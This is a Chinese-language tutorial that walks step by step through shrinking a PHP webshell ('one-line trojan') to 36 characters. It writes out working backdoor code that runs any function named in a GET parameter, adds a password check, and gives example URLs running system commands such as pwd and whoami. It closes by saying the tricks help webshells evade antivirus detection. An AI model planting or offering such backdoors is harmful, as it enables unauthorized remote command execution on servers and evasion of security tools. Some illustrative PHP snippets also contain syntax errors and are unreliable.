一句話木馬的精簡史
今天來看看如何精簡一個 php 后門,基于 php 的特性,讓 php 后門的字節最小化,首先編寫一個一句話后門:
<?php $function = $_GET['function']; $argument = $_GET['argument']; $function($argument)?>
使用方式(function 參數是要執行的函數名,比如 exec、eval、system 等執行命令的函數,argument 為函數的參數,根據不同的函數,使用的參數不同):
http://example.com/shell.php?function=system&argument=pwd

目前該 webshell 的大小為 98 字節:

我們看到 shell 中的變量名和參數名都比較長,直接可以縮減為一個字符,比如:
<?php $f = $_GET['f']; $a = $_GET['a']; $f($a)?>
對于 PHP 來說,結束標簽 ?> 也可以不要,然后將變量名也縮減掉之后變成:
<?php $_GET['f']($_GET['a']);
當前腳本的大小已經縮減到了 34 個字符,測試下是否可用:
http://example.com/shell.php?f=system&a=pwd

現在有個問題,沒有設置密碼,任何人都可以使用這個 shell,現在需要增加一個訪問密碼:
<?php if ($_GET['p']=='password'){ $_GET['f']($_GET['a']); }
使用時在參數中增加 p=password 即可:
http://example.com/shell3.php?f=system&a=pwd&p=password

增加了密碼功能之后,后門大小變成了 64 字節,還能再進行縮減嗎?
對于 php 而言,存在一種叫三元運算符的東西,比如正常寫 if else:
if ($movie == ‘marvel’){echo ‘y’} else{‘n’}
使用三元運算符之后的寫法:
($movie == ‘marvel’ ? echo ‘y’ : echo ‘n’)
應用到我們的 shell 中,變成了:
<?php ($_GET['p']=='password')?$_GET['f']($_GET['a']):y);
然后密碼可以設置短點,比如 _,然后將換行符等空白符盡可能去掉:
<?php ($_GET['p']=='_'?$_GET['f']($_GET['a']):y);
當前字節數只剩下了 50 個,我們還可以利用 && 先執行密碼驗證后執行命令的方式,如果密碼驗證失敗這該腳本執行結束,最后變為:
<?php $_GET['p']=='_'&&$_GET['f']($_GET['a']);
現在這個 shell 字節已經縮減到 47 個,php 還有一個特性 <?php 與 <?= 等價,又可用縮減兩個字節:
<?=$_GET['p']=='_'&&$_GET['f']($_GET['a']);
最后,php 允許 $_GET[f] 這樣的寫法, 所以我們可以將 shell 中的單引號都去掉,又能減少 8 個字符:
<?=$_GET[p]==_&&$_GET[f]($_GET[a]);
縮減到最后的 shell 只有 36 個字符,測試下是否可以正常使用:
http://example.com/shell7php?f=system&a=whoami&p=_

經過一系列的操作,webshell 獲得了極大的縮減,其中包含了多個 PHP 腳本的特性,這些特性對于后續的 webshel 免殺會有極大的幫助,極具學習的價值。